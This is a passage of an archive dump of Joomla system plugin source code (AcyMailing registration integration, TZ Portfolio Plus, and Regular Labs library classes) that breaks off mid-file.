			if(!empty($currentSubid)){
				$currentSubscription = $userClass->getSubscriptionStatus($currentSubid, $visibleListsArray);
				$checkedLists = '';
				foreach($currentSubscription as $listid => $oneSubsciption){
					if($oneSubsciption->status == '1' || $oneSubsciption->status == '2') $checkedLists .= $listid.',';
				}
			}
		}

		if(strtolower($checkedLists) == 'all'){
			$checkedListsArray = $visibleListsArray;
		}elseif(strpos($checkedLists, ',') OR is_numeric($checkedLists)){
			$checkedListsArray = explode(',', $checkedLists);
		}else{
			$checkedListsArray = array();
		}

		$subText = $this->params->get('subscribetext');
		if(empty($subText)){
			if(in_array($this->params->get('displaymode', 'dispall'), array('dispall', 'dropdown'))){
				$subText = acymailing_translation('SUBSCRIPTION').':';
			}else{
				$subText = acymailing_translation('YES_SUBSCRIBE_ME');
			}
		}else{
			$subText = acymailing_translation($subText);
		}

		$body = JResponse::getBody();

		$severalValueTest = false;
		if($this->params->get('fieldafter', 'password') == 'custom'){
			$listAfter = explode(';', str_replace(array('\\[', '\\]'), array('[', ']'), $this->params->get('fieldaftercustom')));
			$after = !empty($listAfter) ? $listAfter : $this->components[$option]['password'];
		}elseif(!empty($this->components[$option][$this->params->get('fieldafter', 'password')])){
			$after = $this->components[$option][$this->params->get('fieldafter', 'password')];
		}else{
			$after = ($this->params->get('fieldafter', 'password') == 'email') ? 'email' : 'password2';
		}
		if(is_array($after)){
			$severalValueTest = true;
			$allAfters = $after;
			$after = $after[0];
		}

		$listsDisplayed = '<input type="hidden" value="'.implode(',', $visibleListsArray).'" name="acylistsdisplayed_'.$this->params->get('displaymode', 'dispall').'" />';
		$return = '';
		if($this->params->get('displaymode', 'dispall') == 'dispall'){
			$return = '<table class="acy_lists" style="border:0px">';

			$displayCategories = $this->params->get('addcategory', '0');
			if($displayCategories){
				$listsByCategory = array();
				foreach($allLists as $id => $oneList){
					if(in_array($id,$visibleListsArray)) $listsByCategory[$oneList->category][] = $id;
				}
				ksort($listsByCategory);

				$visibleListsArray = array();
				foreach($listsByCategory as $oneCat => $itsLists){
					$visibleListsArray = array_merge($visibleListsArray, $itsLists);
				}
			}
			$currentCategory = '';
			foreach($visibleListsArray as $oneList){
				if(!empty($displayCategories) && !empty($allLists[$oneList]->category) && $currentCategory != $allLists[$oneList]->category){
					$return .= '<tr style="border:0px"><td style="border:0px" nowrap="nowrap" colspan="2"><div class="acylistcategory'.htmlspecialchars($allLists[$oneList]->category, ENT_QUOTES, 'UTF-8').'">'.htmlspecialchars($allLists[$oneList]->category, ENT_QUOTES, 'UTF-8').'</div></td></tr>';
					$currentCategory = $allLists[$oneList]->category;
				}
				$check = in_array($oneList, $checkedListsArray) ? 'checked="checked"' : '';
				$return .= '<tr style="border:0px"><td style="border:0px"><input type="checkbox" id="acy_list_'.$oneList.'" class="acymailing_checkbox" name="acysub[]" '.$check.' value="'.$oneList.'"/></td><td style="border:0px;padding-left:10px;" nowrap="nowrap"><label for="acy_list_'.$oneList.'" class="acylabellist">';
				$return .= $allLists[$oneList]->name;
				$return .= '</label></td></tr>';
			}
			$return .= '</table>';
		}elseif($this->params->get('displaymode', 'dispall') == 'onecheck'){
			$check = '';
			foreach($visibleListsArray as $oneList){
				if(in_array($oneList, $checkedListsArray)){
					$check = 'checked="checked"';
					break;
				};
			}
			$return = '<span class="acysubscribe_span"><input type="checkbox" id="acysubhidden" name="acysubhidden" value="'.implode(',', $visibleListsArray).'" '.$check.' /><label for="acysubhidden">'.$subText.'</label>'.$listsDisplayed.'</span>';
		}elseif($this->params->get('displaymode', 'dispall') == 'dropdown'){
			$return = '<select name="acysub[1]">';
			foreach($visibleListsArray as $oneList){
				$return .= '<option value="'.$oneList.'">'.$allLists[$oneList]->name.'</option>';
			}
			$return .= '</select>';
		}

		$return .= '<input type="hidden" name="allVisibleLists" value="'.implode(',', $visibleListsArray).'" />';

		$resInsertLists = $this->addListsReplace($after, $body, $subText, $listsDisplayed, $return);
		if(!$resInsertLists && $severalValueTest){
			$i = 1;
			while(!$resInsertLists && $i < count($allAfters)){
				$resInsertLists = $this->addListsReplace($allAfters[$i], $body, $subText, $listsDisplayed, $return);
				$i++;
			}
		}
	}

	private function addListsReplace($after, $body, $subText, $listsDisplayed, $return){
		$option = $this->option;

		if(empty($this->components[$option]['lengthaftermin'])) $this->components[$option]['lengthaftermin'] = 0;
		if(empty($this->components[$option]['acysubscribestyle'])) $this->components[$option]['acysubscribestyle'] = '';
		if(preg_match('#(name *= *"'.preg_quote($after).'".{'.$this->components[$option]['lengthaftermin'].','.$this->components[$option]['lengthafter'].'}</tr>)#Uis', $body)){
			$tdclassfield = '';
			$tdclassvalue = '';
			if(!empty($this->components[$option]['tdclassfield'])) $tdclassfield = 'class="'.$this->components[$option]['tdclassfield'].'"';
			if(!empty($this->components[$option]['tdclassvalue'])) $tdclassvalue = 'class="'.$this->components[$option]['tdclassvalue'].'"';

			if(in_array($this->params->get('displaymode', 'dispall'), array('dispall', 'dropdown'))){
				$return = '<tr class="acysubscribe"><td '.$tdclassfield.' style="padding-top:5px" valign="top">'.$subText.$listsDisplayed.'</td><td '.$tdclassvalue.'>'.$return.'</td></tr>';
			}else{
				$return = '<tr class="acysubscribe"><td colspan="2">'.$return.'</td></tr>';
			}
			$body = preg_replace('#(name *= *"'.preg_quote($after).'".{'.$this->components[$option]['lengthaftermin'].','.$this->components[$option]['lengthafter'].'}</tr>)#Uis', '$1'.$return, $body, 1);
			JResponse::setBody($body);
			return true;
		}

		$formats = array('li' => array('li', 'li'), 'div' => array('div', 'div'), 'p' => array('div', 'div'), 'dd' => array('dt', 'div'));
		foreach($formats as $oneFormat => $dispall){
			if(preg_match('#(name *= *"'.preg_quote($after).'".{'.$this->components[$option]['lengthaftermin'].','.$this->components[$option]['lengthafter'].'}</'.$oneFormat.'>)#Uis', $body)){
				if(in_array($this->params->get('displaymode', 'dispall'), array('dispall', 'dropdown'))){
					if($oneFormat == 'dd'){
						$return = '<dt class="acysubscribe"><label class="labelacysubscribe">'.$subText.$listsDisplayed.'</label></dt><dd>'.$return.'</dd>';
					}else{
						$return = '<'.$dispall[0].' class="acysubscribe"><label class="labelacysubscribe">'.$subText.$listsDisplayed.'</label>'.$return.'</'.$dispall[0].'>';
					}
				}else{
					$return = '<'.$dispall[1].' class="acysubscribe" '.$this->components[$option]['acysubscribestyle'].' >'.$return.'</'.$dispall[1].'>';
				}
				$body = preg_replace('#(name *= *"'.preg_quote($after).'".{'.$this->components[$option]['lengthaftermin'].','.$this->components[$option]['lengthafter'].'}</'.$oneFormat.'>)#Uis', '$1'.$return, $body, 1);
				JResponse::setBody($body);
				return true;
			}
		}

		foreach($formats as $oneFormat => $dispall){
			if(preg_match('#(name *= *"'.preg_quote($after).'"((?!</'.$oneFormat.'>).)*</'.$oneFormat.'>)#Uis', $body)){
				if(in_array($this->params->get('displaymode', 'dispall'), array('dispall', 'dropdown'))){
					if($oneFormat == 'dd'){
						$return = '<dt class="acysubscribe"><label class="labelacysubscribe">'.$subText.$listsDisplayed.'</label></dt><dd>'.$return.'</dd>';
					}else{
						$return = '<'.$dispall[0].' class="acysubscribe"><label class="labelacysubscribe">'.$subText.$listsDisplayed.'</label>'.$return.'</'.$dispall[0].'>';
					}
				}else{
					$return = '<'.$dispall[1].' class="acysubscribe" '.$this->components[$option]['acysubscribestyle'].' >'.$return.'</'.$dispall[1].'>';
				}
				$body = preg_replace('#(name *= *"'.preg_quote($after).'"((?!</'.$oneFormat.'>).)*</'.$oneFormat.'>)#Uis', '$1'.$return, $body, 1);
				JResponse::setBody($body);
				return true;
			}
		}

		return false;
	}

	private function _addCSS(){
		$style = $this->params->get('customcss');
		$jversion = preg_replace('#[^0-9\.]#i', '', JVERSION);

		if(empty($style) && version_compare($jversion, '1.6.0', '<')) return;

		if(empty($style)){
			$stylestring = '<style type="text/css">'."\n";
			if(version_compare($jversion, '3.0.0', '>=')){
				$stylestring .= '.acyregfield label, .acysubscribe label {float:left; width:160px; '.(!acymailing_isAdmin() ? 'text-align:right;' : '').'}'."\n";
				$stylestring .= '.acyregfield span label, .acysubscribe .acy_lists label {width:auto;}'."\n";
				$stylestring .= '.acyregfield div:first-of-type, .acyregfield select:first-of-type, .acyregfield input, .acyregfield textarea, .acysubscribe input {margin-left:20px;}'."\n";
				$stylestring .= '.acyregfield, .acysubscribe {clear:both; padding-top:18px;}'."\n";
			}elseif(version_compare($jversion, '1.6.0', '>=') && acymailing_isAdmin()){
				$stylestring .= 'table.acy_lists{float:left;}'."\n";
			}
			$stylestring .= '</style>'."\n";
		}else{
			$stylestring = '<style type="text/css">'."\n".$style."\n".'</style>'."\n";
		}
		$body = JResponse::getBody();
		$body = preg_replace('#</head>#', $stylestring.'</head>', $body, 1);
		JResponse::setBody($body);
	}


	function onUserBeforeSave($user, $isnew, $new){
		if(!$this->installed) return true;

		return $this->onBeforeStoreUser($user, $isnew);
	}

	function plgVmOnAskQuestion($VendorEmail, $vars, $function){
		if(!$this->installed) return true;

		$user = JFactory::getUser();

		$db = JFactory::getDBO();
		$db->setQuery('SELECT id FROM #__users WHERE email = '.$db->Quote($vars['user'][email]));
		$id = $db->loadResult();
		if(empty($id)){
			$isnew = true;
			$user->id = 0;
		}else{
			$isnew = false;
			$user->id = $id;
		}
		$user->email = $vars['user'][email];
		$user->name = $vars['user'][name];
		$user->block = 0;

		$this->onAfterStoreUser($user, $isnew, true, '');
	}

	function onBeforeStoreUser($user, $isnew){
		if(!$this->installed) return true;


		if(is_object($user)) $user = get_object_vars($user);

		$this->oldUser = $user;

		return true;
	}

	function onAfterUserCreate(&$element){
		if(!$this->installed) return true;

		$formData = acymailing_getVar('array', 'data', array(), '');

		if(empty($element->user_email) || empty($formData['address']) || !empty($element->user_cms_id) || acymailing_isAdmin()) return;

		acymailing_setVar('acy_source', 'hikashop');

		$name = @$formData['address']['address_firstname'].(!empty($formData['address']['address_middle_name']) ? ' '.$formData['address']['address_middle_name'] : '').(!empty($formData['address']['address_lastname']) ? ' '.$formData['address']['address_lastname'] : '');
		$user = array('id' => 0, 'block' => 0, 'email' => $element->user_email, 'name' => $name);
		$this->onAfterStoreUser($user, true, true, '');
	}

	function onUserAfterSave($user, $isnew, $success, $msg){
		if(!$this->installed) return true;

		return $this->onAfterStoreUser($user, $isnew, $success, $msg);
	}

	function onAfterStoreUser($user, $isnew, $success, $msg){
		if(!$this->installed) return true;


		if(is_object($user)) $user = get_object_vars($user);

		if($success === false OR empty($user['email'])) return true;

		if(!isset($this->params)){
			$plugin = JPluginHelper::getPlugin('system', 'regacymailing');
			$this->params = new JParameter($plugin->params);
		}

		if(!acymailing_getVar('cmd', 'acy_source')) acymailing_setVar('acy_source', 'joomla');

		$config = acymailing_config();

		$userClass = acymailing_get('class.subscriber');
		$joomUser = new stdClass();
		$joomUser->email = trim(strip_tags($user['email']));
		if(!empty($user['name'])) $joomUser->name = trim(strip_tags($user['name']));
		if(empty($user['block']) && !$this->params->get('forceconf', 0)) $joomUser->confirmed = 1;
		$joomUser->enabled = 1 - (int)$user['block'];
		$joomUser->userid = $user['id'];

		$userHelper = acymailing_get('helper.user');
		if(!$userHelper->validEmail($joomUser->email)) return true;

		if(!acymailing_isAdmin()) $userClass->geolocRight = true;

		if(!$isnew AND !empty($this->oldUser['email']) AND $user['email'] != $this->oldUser['email']){
			$joomUser->subid = $userClass->subid($this->oldUser['email']);
		}
		if(empty($joomUser->subid)){
			if(empty($joomUser->userid)){
				$joomUser->subid = null;
			}else{
				$joomUser->subid = $userClass->subid($joomUser->userid);
			}
		}

		if(!empty($joomUser->subid)){
			$currentSubid = $userClass->subid($joomUser->email);
			if(!empty($currentSubid) && $joomUser->subid != $currentSubid){
				$userClass->delete($currentSubid);
			}
		}

		$userClass->checkVisitor = false;
		$userClass->sendConf = false;

		$isnew = (bool)($isnew || empty($joomUser->subid));

		$customValues = acymailing_getVar('array', 'regacy', array(), '');
		$session = JFactory::getSession();
		if(empty($customValues) && $session->get('regacy')){
			$customValues = $session->get('regacy');
			$session->set('regacy', null);
		}
		if(!empty($customValues)){
			$userClass->checkFields($customValues, $joomUser);
		}

		$userClass->triggerFilterBE = true;
		$subid = $userClass->save($joomUser);

		$listsToSubscribe = ($isnew) ? $config->get('autosub', 'None') : 'None';
		$currentSubscription = $userClass->getSubscriptionStatus($subid);

		$listsClass = acymailing_get('class.list');
		$allLists = $listsClass->getLists('listid');
		if(acymailing_level(1)){
			$allLists = $listsClass->onlyCurrentLanguage($allLists);
		}

		$session = JFactory::getSession();
		$visiblelistschecked = acymailing_getVar('array', 'acysub', array(), '');
		if(empty($visiblelistschecked) && $session->get('acysub')){
			$visiblelistschecked = $session->get('acysub');
			$session->set('acysub', null);
		}

		$acySubHidden = acymailing_getVar('string', 'acysubhidden');
		if(empty($acySubHidden) && $session->get('acysubhidden')){
			$acySubHidden = $session->get('acysubhidden');
			$session->set('acysubhidden', null);
		}

		if(!empty($acySubHidden)){
			$visiblelistschecked = array_merge($visiblelistschecked, explode(',', $acySubHidden));
		}

		$allvisiblelists = acymailing_getVar('string', 'allVisibleLists');
		$allvisiblelistsArray = explode(',', $allvisiblelists);

		$listsArray = array();
		if(strpos($listsToSubscribe, ',') || is_numeric($listsToSubscribe)){
			$listsArrayParam = explode(',', $listsToSubscribe);
			foreach($allLists as $oneList){
				$okSub = false;
				if(in_array($oneList->listid, $listsArrayParam) && (!in_array($oneList->listid, $allvisiblelistsArray) || in_array($oneList->listid, $visiblelistschecked))) $okSub = true;
				if($oneList->published && (in_array($oneList->listid, $visiblelistschecked) || $okSub)){
					$listsArray[] = $oneList->listid;
				}
			}
		}elseif(strtolower($listsToSubscribe) == 'all'){
			foreach($allLists as $oneList){
				$okSub = false;
				if(!in_array($oneList->listid, $allvisiblelistsArray) || in_array($oneList->listid, $visiblelistschecked)) $okSub = true;
				if($oneList->published && $okSub){
					$listsArray[] = $oneList->listid;
				}
			}
		}elseif(!empty($visiblelistschecked)){
			foreach($allLists as $oneList){
				if($oneList->published && in_array($oneList->listid, $visiblelistschecked)){
					$listsArray[] = $oneList->listid;
				}
			}
		}
		$statusAdd = (empty($joomUser->enabled) || (empty($joomUser->confirmed) && $config->get('require_confirmation', false))) ? 2 : 1;
		$addlists = array();
		if(!empty($listsArray)){
			foreach($listsArray as $idOneList){
				if(!isset($currentSubscription[$idOneList]) || $currentSubscription[$idOneList]->status == -1){
					$addlists[$statusAdd][$idOneList] = $idOneList;
				}
			}
		}

		$listsubClass = acymailing_get('class.listsub');
		$userSubscriptions = $listsubClass->getSubscription($subid);

		if(!$isnew && !empty($allvisiblelistsArray)){
			$subscribedLists = array_keys($userSubscriptions);
			$unsubscribeLists = array_intersect($subscribedLists, array_diff($allvisiblelistsArray, $visiblelistschecked));
			if(!empty($unsubscribeLists)) $listsubClass->updateSubscription($subid, array(-1 => $unsubscribeLists));
		}

		if(!empty($addlists)){
			if(!empty($user['gid'])) $listsubClass->gid = $user['gid'];
			if(!empty($user['groups'])) $listsubClass->gid = $user['groups'];
			$listsToUpdate = array_intersect(array_keys($userSubscriptions), $addlists[$statusAdd]);
			$updateLists = array();

			if(!empty($listsToUpdate)){
				foreach($listsToUpdate as $key => $oneListToUpdate){
					if($userSubscriptions[$oneListToUpdate]->status == -1 && !in_array($oneListToUpdate, $allvisiblelistsArray)) continue;
					$updateLists[] = $oneListToUpdate;
				}

				if(!empty($updateLists)) $listsubClass->updateSubscription($subid, array($statusAdd => $updateLists));
				$addlists[$statusAdd] = array_diff($addlists[$statusAdd], $listsToUpdate);
			}

			if(!empty($addlists[$statusAdd])) $listsubClass->addSubscription($subid, $addlists);
		}

		if($isnew && $this->params->get('sendnotif', false)){
			$userClass->sendNotification();
		}

		$listssub = $listsubClass->getSubscription($subid);

		if($isnew && $this->params->get('forceconf', 0) && empty($user['block'])){
			$userClass->sendConf($subid);
			return true;
		}

		if($isnew || empty($this->oldUser['block']) || !empty($user['block'])) return true;

		if($this->params->get('forceconf', 0)){
			if(!empty($listssub)) $userClass->sendConf($subid);
		}else{
			$userClass->confirmSubscription($subid);
		}

		return true;
	}

	function onUserAfterDelete($user, $success, $msg){
		if(!$this->installed) return true;

		return $this->onAfterDeleteUser($user, $success, $msg);
	}

	function onAfterDeleteUser($user, $success, $msg){
		if(!$this->installed) return true;

		if(is_object($user)) $user = get_object_vars($user);

		if($success === false || empty($user['email'])) return true;

		$userClass = acymailing_get('class.subscriber');
		$subid = $userClass->subid($user['email']);
		if(!empty($subid)){
			if($this->params->get('deletebehavior', '0') == 0){
				$userClass->delete($subid);
			}else{
				$db = JFactory::getDBO();
				$db->setQuery('UPDATE #__acymailing_subscriber SET `userid` = 0 WHERE subid = '.intval($subid));
				$db->query();
			}
		}

		return true;
	}

	function onExtregUserActivate($form_id = 0, $er_user = null){
		if(!$this->installed) return true;

		if(empty($er_user->id)) return true;
		$userClass = acymailing_get('class.subscriber');
		$userSubid = $userClass->subid($er_user->id);
		if(empty($userSubid)) return true;

		if(!empty($er_user->approve)){
			$db = JFactory::getDBO();
			$query = 'UPDATE  #__acymailing_subscriber SET `enabled` = '.(int)$er_user->approve.' WHERE subid ='.intval($userSubid);
			$db->setQuery($query);
			$db->query();
		}
		$userClass->confirmSubscription($userSubid);
		return true;
	}

	function onExtregUserApprove($form_id = 0, $er_user = null){
		if(!$this->installed) return true;

		if(empty($er_user->id)) return true;
		$userClass = acymailing_get('class.subscriber');
		$userSubid = $userClass->subid($er_user->id);
		if(empty($userSubid)) return true;

		$db = JFactory::getDBO();
		$query = 'UPDATE  #__acymailing_subscriber SET `enabled` = "1" WHERE subid ='.intval($userSubid);
		$db->setQuery($query);
		$db->query();

		return true;
	}
}//endclass
                                                                                                                                                                                                                                                                                                                          system/regacymailing/index.html                                                                     0000705                 00000000054 15242051521 0012672 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <html><body bgcolor="#FFFFFF"></body></html>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    system/tz_portfolio_plus/tz_portfolio_plus.php                                                      0000705                 00000006414 15242051521 0016173 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/*------------------------------------------------------------------------

# TZ Portfolio Plus Extension

# ------------------------------------------------------------------------

# author    DuongTVTemPlaza

# copyright Copyright (C) 2015 templaza.com. All Rights Reserved.

# @license - http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL

# Websites: http://www.templaza.com

# Technical Support:  Forum - http://templaza.com/Forum

-------------------------------------------------------------------------*/

// no direct access
defined('_JEXEC') or die('Restricted access');

jimport('joomla.plugin.plugin');
jimport('joomla.filesystem.folder');
jimport('joomla.filesystem.file');

JLoader::register('TZ_Portfolio_PlusPlugin',JPATH_ADMINISTRATOR.DIRECTORY_SEPARATOR.'components'
                    .DIRECTORY_SEPARATOR.'com_tz_portfolio_plus'.DIRECTORY_SEPARATOR.'libraries'
                    .DIRECTORY_SEPARATOR.'plugin'.DIRECTORY_SEPARATOR.'plugin.php');

class PlgSystemTZ_Portfolio_Plus extends JPlugin {

    public function __construct(&$subject, $config = array())
    {
        JLoader::import('com_tz_portfolio_plus.includes.framework',JPATH_ADMINISTRATOR.'/components');

        JLoader::import('com_tz_portfolio_plus.libraries.plugin.helper', JPATH_ADMINISTRATOR.'/components');

        parent::__construct($subject,$config);
    }

    public function onAfterRoute(){
        $app    = JFactory::getApplication();
        if(class_exists('TZ_Portfolio_PlusPluginHelper') && $this -> _tppAllowImport()) {
            if(JFolder::exists(COM_TZ_PORTFOLIO_PLUS_ADDON_PATH)){
                $plgGroups  = JFolder::folders(COM_TZ_PORTFOLIO_PLUS_ADDON_PATH);
                if(count($plgGroups)){
                    $app    = JFactory::getApplication();
                    $option = $app -> input -> get('option');

                    foreach($plgGroups as $group){
                        if($group != 'extrafields') {
//                            if($group != 'user' || ($group == 'user' && $option == 'com_users')){
                                TZ_Portfolio_PlusPluginHelper::importPlugin($group);
//                            }
                        }
                    }
                }
            }
        }

    }

    protected function _tppAllowImport(){

        $app    = JFactory::getApplication();
        $option = $app -> input -> get('option');
        $task   = $app -> input -> get('task');
        $view   = $app -> input -> get('view');

        if($app -> isClient('administrator')){
            $optionAllows   = array(
                'com_config',
                'com_login',
                'com_checkin',
                'com_cache',
                'com_admin',
                'com_installer',
                'com_plugins'
            );
            if(!$option || ($option && in_array($option, $optionAllows))){
                return false;
            }
            elseif($option == 'com_menus' && ($view == 'menus' || $view == 'items')){
                return false;
            }
//            elseif($option == 'com_modules' && !$view){
//                return false;
//            }
            elseif($option == 'com_users' && (!in_array($view, array('user')) && !$task)){
                return false;
            }
        }

        return true;
    }
}
?>                                                                                                                                                                                                                                                    system/tz_portfolio_plus/tz_portfolio_plus.xml                                                      0000705                 00000001623 15242051521 0016201 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<extension type="plugin" version="3.0" group="system" method="upgrade">
    <name>plg_system_tz_portfolio_plus</name>
    <author>DuongTVTemPlaza</author>
    <creationDate>January 25th 2013</creationDate>
    <copyright>Copyright (C) 2015 TemPlaza. All rights reserved.</copyright>
    <license>GNU/GPL v2 or later http://www.gnu.org/licenses/gpl-2.0.html</license>
    <authorEmail>support@templaza.com</authorEmail>
    <authorUrl>www.templaza.com/</authorUrl>
    <version>2.3.6</version>

    <files>
        <filename plugin="tz_portfolio_plus">tz_portfolio_plus.php</filename>
        <filename>index.html</filename>
    </files>
    <languages folder="language">
        <language tag="en-GB">en-GB/en-GB.plg_system_tz_portfolio_plus.ini</language>
        <language tag="en-GB">en-GB/en-GB.plg_system_tz_portfolio_plus.sys.ini</language>
    </languages>
</extension>                                                                                                             system/tz_portfolio_plus/index.html                                                                 0000705                 00000000036 15242051521 0013654 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <!DOCTYPE html><title></title>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  system/regularlabs/src/Application.php                                                              0000705                 00000003565 15242051521 0014142 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package         Regular Labs Library
 * @version         19.8.23191
 * 
 * @author          Peter van Westen <info@regularlabs.com>
 * @link            http://www.regularlabs.com
 * @copyright       Copyright © 2019 Regular Labs All Rights Reserved
 * @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
 */

namespace RegularLabs\Plugin\System\RegularLabs;

defined('_JEXEC') or die;

use Joomla\CMS\Factory as JFactory;
use Joomla\CMS\Plugin\PluginHelper as JPluginHelper;

class Application
{
	public function render()
	{
		$app      = JFactory::getApplication();
		$document = JFactory::getDocument();
		$app->loadDocument($document);

		$params = [
			'template'  => $app->get('theme'),
			'file'      => $app->get('themeFile', 'index.php'),
			'params'    => $app->get('themeParams'),
			'directory' => self::getThemesDirectory(),
		];

		// Parse the document.
		$document->parse($params);

		// Trigger the onBeforeRender event.
		JPluginHelper::importPlugin('system');
		$app->triggerEvent('onBeforeRender');

		$caching = false;

		if ($app->isClient('site') && $app->get('caching') && $app->get('caching', 2) == 2 && ! JFactory::getUser()->get('id'))
		{
			$caching = true;
		}

		// Render the document.
		$data = $document->render($caching, $params);

		// Set the application output data.
		$app->setBody($data);

		// Trigger the onAfterRender event.
		$app->triggerEvent('onAfterRender');

		// Mark afterRender in the profiler.
		// Causes issues, so commented out.
		// JDEBUG ? $app->profiler->mark('afterRender') : null;
	}

	static function getThemesDirectory()
	{
		if (JFactory::getApplication()->get('themes.base'))
		{
			return JFactory::getApplication()->get('themes.base');
		}

		if (defined('JPATH_THEMES'))
		{
			return JPATH_THEMES;
		}

		if (defined('JPATH_BASE'))
		{
			return JPATH_BASE . '/themes';
		}

		return __DIR__ . '/themes';
	}
}

                                                                                                                                           system/regularlabs/src/Params.php                                                                   0000705                 00000001331 15242051521 0013107 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package         Regular Labs Library
 * @version         19.8.23191
 * 
 * @author          Peter van Westen <info@regularlabs.com>
 * @link            http://www.regularlabs.com
 * @copyright       Copyright © 2019 Regular Labs All Rights Reserved
 * @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
 */

namespace RegularLabs\Plugin\System\RegularLabs;

defined('_JEXEC') or die;

use RegularLabs\Library\Parameters as RL_Parameters;

class Params
{
	protected static $params = null;

	public static function get()
	{
		if ( ! is_null(self::$params))
		{
			return self::$params;
		}

		self::$params = RL_Parameters::getInstance()->getPluginParams('regularlabs');

		return self::$params;
	}
}
                                                                                                                                                                                                                                                                                                       system/regularlabs/src/AdminMenu.php                                                                0000705                 00000006261 15242051521 0013550 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package         Regular Labs Library
 * @version         19.8.23191
 * 
 * @author          Peter van Westen <info@regularlabs.com>
 * @link            http://www.regularlabs.com
 * @copyright       Copyright © 2019 Regular Labs All Rights Reserved
 * @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
 */

namespace RegularLabs\Plugin\System\RegularLabs;

defined('_JEXEC') or die;

use Joomla\CMS\Factory as JFactory;
use RegularLabs\Library\RegEx as RL_RegEx;

class AdminMenu
{
	public static function combine()
	{
		$params = Params::get();

		if ( ! $params->combine_admin_menu)
		{
			return;
		}

		$html = JFactory::getApplication()->getBody();

		if ($html == '')
		{
			return;
		}

		if (strpos($html, '<ul id="menu"') === false
			|| (strpos($html, '">Regular Labs ') === false
				&& strpos($html, '" >Regular Labs ') === false)
		)
		{
			return;
		}

		if ( ! RL_RegEx::matchAll(
			'<li><a class="(?:no-dropdown )?menu-[^>]*>Regular Labs [^<]*</a></li>',
			$html,
			$matches,
			null,
			PREG_PATTERN_ORDER
		)
		)
		{
			return;
		}

		$menu_items = $matches[0];

		if (count($menu_items) < 2)
		{
			return;
		}

		$manager = null;

		foreach ($menu_items as $i => &$menu_item)
		{
			RL_RegEx::match('class="(?:no-dropdown )?menu-(.*?)"', $menu_item, $icon);

			$icon = str_replace('icon-icon-', 'icon-', 'icon-' . $icon[1]);

			$menu_item = str_replace(
				['>Regular Labs - ', '>Regular Labs '],
				'><span class="icon-reglab ' . $icon . '"></span> ',
				$menu_item
			);

			if ($icon != 'icon-regularlabsmanager')
			{
				continue;
			}

			$manager = $menu_item;
			unset($menu_items[$i]);
		}

		$main_link = "";

		if ( ! is_null($manager))
		{
			array_unshift($menu_items, $manager);
			$main_link = 'href="index.php?option=com_regularlabsmanager"';
		}

		$new_menu_item =
			'<li class="dropdown-submenu">'
			. '<a class="dropdown-toggle menu-regularlabs" data-toggle="dropdown" ' . $main_link . '>Regular Labs</a>'
			. "\n" . '<ul id="menu-cregularlabs" class="dropdown-menu menu-scrollable menu-component">'
			. "\n" . implode("\n", $menu_items)
			. "\n" . '</ul>'
			. '</li>';

		$first = array_shift($matches[0]);

		$html = str_replace($first, $new_menu_item, $html);
		$html = str_replace($matches[0], '', $html);

		JFactory::getApplication()->setBody($html);
	}

	public static function addHelpItem()
	{
		$params = Params::get();

		if ( ! $params->show_help_menu)
		{
			return;
		}

		$html = JFactory::getApplication()->getBody();

		if ($html == '')
		{
			return;
		}

		$pos_1 = strpos($html, '<!-- Top Navigation -->');
		$pos_2 = strpos($html, '<!-- Header -->');

		if ( ! $pos_1 || ! $pos_2)
		{
			return;
		}

		$nav = substr($html, $pos_1, $pos_2 - $pos_1);

		$shop_item = '(\s*<li>\s*<a [^>]*class="[^"]*menu-help-)shop("\s[^>]*)href="[^"]+\.joomla\.org[^"]*"([^>]*>)[^<]*(</a>s*</li>)';

		$nav = RL_RegEx::replace(
			$shop_item,
			'\0<li class="divider"><span></span></li>\1dev\2href="https://www.regularlabs.com"\3Regular Labs Extensions\4',
			$nav
		);

		// Just in case something fails
		if (empty($nav))
		{
			return;
		}

		$html = substr_replace($html, $nav, $pos_1, $pos_2 - $pos_1);

		JFactory::getApplication()->setBody($html);
	}
}
                                                                                                                                                                                                                                                                                                                                               system/regularlabs/src/QuickPage.php                                                                0000705                 00000006676 15242051521 0013556 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package         Regular Labs Library
 * @version         19.8.23191
 * 
 * @author          Peter van Westen <info@regularlabs.com>
 * @link            http://www.regularlabs.com
 * @copyright       Copyright © 2019 Regular Labs All Rights Reserved
 * @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
 */

namespace RegularLabs\Plugin\System\RegularLabs;

defined('_JEXEC') or die;

use Joomla\CMS\Factory as JFactory;
use Joomla\CMS\HTML\HTMLHelper as JHtml;
use Joomla\CMS\Uri\Uri as JUri;
use RegularLabs\Library\Document as RL_Document;
use RegularLabs\Library\RegEx as RL_RegEx;

class QuickPage
{
	public static function render()
	{
		if ( ! JFactory::getApplication()->input->getInt('rl_qp', 0))
		{
			return;
		}

		$url = JFactory::getApplication()->input->getString('url', '');

		if ($url)
		{
			echo \RegularLabs\Library\Http::getFromServer($url, JFactory::getApplication()->input->getInt('timeout', ''));

			die;
		}

		$allowed = [
			'administrator/components/com_dbreplacer/ajax.php',
			'administrator/modules/mod_addtomenu/popup.php',
			'media/rereplacer/images/popup.php',
			'plugins/editors-xtd/articlesanywhere/popup.php',
			'plugins/editors-xtd/conditionalcontent/popup.php',
			'plugins/editors-xtd/contenttemplater/data.php',
			'plugins/editors-xtd/contenttemplater/popup.php',
			'plugins/editors-xtd/dummycontent/popup.php',
			'plugins/editors-xtd/modals/popup.php',
			'plugins/editors-xtd/modulesanywhere/popup.php',
			'plugins/editors-xtd/sliders/data.php',
			'plugins/editors-xtd/sliders/popup.php',
			'plugins/editors-xtd/snippets/popup.php',
			'plugins/editors-xtd/sourcerer/popup.php',
			'plugins/editors-xtd/tabs/data.php',
			'plugins/editors-xtd/tabs/popup.php',
			'plugins/editors-xtd/tooltips/popup.php',
		];

